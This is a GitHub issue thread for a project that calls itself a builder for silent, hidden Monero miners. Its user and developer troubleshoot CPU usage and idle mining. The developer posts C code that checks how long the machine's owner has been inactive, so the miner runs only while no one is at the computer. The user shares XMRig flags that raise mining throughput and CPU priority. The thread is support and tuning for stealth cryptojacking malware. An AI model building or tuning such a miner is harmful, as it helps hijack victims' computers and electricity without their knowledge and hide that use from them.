UnamSanctam / SilentXMRMiner

A Silent (Hidden) Monero (XMR) Miner Builder
MIT License
561 stars 162 forks source link

problem with Idle Mining #18

Closed BuutMS closed 3 years ago

BuutMS commented 3 years ago

when its start to mining, after waiting 15 idle mining, it starts mining with 50% of the CPU, even if it is set to more or the maximum

and another issue i have is, why we can´t set donate_level to 1 and Idle Mining at same time?

I am very grateful if you can help me

UnamSanctam commented 3 years ago

The amount of CPU it uses depends on the "Max CPU" you set in the program and how many cores you have on your CPU. Idle Mining doesn't affect the CPU it uses.

You can set the donate level to 1 if you compile my program yourself and change it in the Resources\Program.vb file.

BuutMS commented 3 years ago

Thats what i said, when it come back after 15 idle minutes, the CPU work with 50% usage and not the value set at builder If Idle mining is disabled, i can set it up to 80%, and CPU work on 80% normally But when Idle mining is activated, he work with only 50% after 15 idle minutes waiting As if it is not adjusting the "Max CPU" parameter (or its just restoring that) when come back from idle And so, it seems that idle mine is affecting CPU use, if you test that you will see

BuutMS commented 3 years ago

And checking your code, I found that:

`#If EnableIdle Then runString += " --donate-level=5 "

Else

        runString += " --donate-level=4 "

End If

       'If --donate-level is set to 5 idle mining is enabled if --donate-level is anything other than 5 idle mining is disabled

`

and so, thats why i did that question about donate_level

The comment saying the donate_level5 activate the idle mining

UnamSanctam commented 3 years ago

Ah, yes if you want to lower the donate_level it will deactivate Idle Mining, I made it that way since adding my own config option to the miner would make it harder to maintain throughout updates so I just used the donate_level. Personally I don't mind donating 5% of it to the XMRig devs which is why I made it that way.

And all Idle Mining does is it checks how long it's been since the last input and then pauses if it's been longer than 15 minutes. Here is my code:

LASTINPUTINFO last_input;
last_input.cbSize = sizeof(last_input);  

DWORD idle_time;

if(d_ptr->controller->config()->pools().donateLevel() == 5 && d_ptr->ticks % 5 == 0){
    GetLastInputInfo(&last_input);
    idle_time = GetTickCount() - last_input.dwTime;
    if ( idle_time > 60*15*1000 )
    {
        setEnabled(true);
    }
    else if( idle_time < 60*15*1000 )
    {
        setEnabled(false);
    }
}

If it does change the Max CPU then that is a bug in XMRig so I might update the miner builder sometimes soon to see if it's fixed.

BuutMS commented 3 years ago

Ok i understood thank for your explanation

and i did some more tests, and the fact is the program is not being capable to "hold" the CPU at maximum level, even the idle mining is disabled, so i just realized the problem is nothing to do with idle mining, i´m sorry about that what is happening is, it turn back to 50% few seconds after start to mining, and that is different from one computer to another, on another machine I got 70% instead from 50%, but never the 90% that was configured in the builder

anyways thank you and if it can be corrected it would be nice to be able to use the cpu at maximum effort

have a nice day :)

UnamSanctam commented 3 years ago

The thing you are seeing is what I said earlier about cores, if your CPU has 4 cores it can for example only use 25%, 50%, 75% or 100% and if you have 8 cores you can use 12.5%, 25%, 37,5%, 50%, 62,5%, 75%, 87,5% or 100%.

This means that if you have 4 cores and set it to Max CPU 90% then it can only use max 75%.

BuutMS commented 3 years ago

I found the problem

just added the following code to the runString

--algo=rx/wow

And now it works perfectly!! the hashrate has increased over 50%, just run a simple test and you will see that

the explanation i got from a xmrig issue: https://github.com/xmrig/xmrig/issues/1921

the explanation:

Hi, everything is correct here. Monero mining needs 2 MB scratchpad size per thread and it's ideal for max. performance when it fits into the CPU's caches. AMD "Renoir" 4650G has only 8 MB L3 cache (precisely 2x 4 MB). So you have 8 MB last level cache and need 2 MB for each thread. That's why the miner only starts 4 threads and not more. Otherwise the system would have to access the slow DRAM.

and another suggestions i have to add is listed below: (increase mining power)

--asm=auto --cpu-priority=5 --cpu-no-yield

UnamSanctam commented 3 years ago

Thanks, I'll try experimenting with those in the next version, only problem is setting the algo to rx/wow means that you can't mine to pools like nanopool I believe.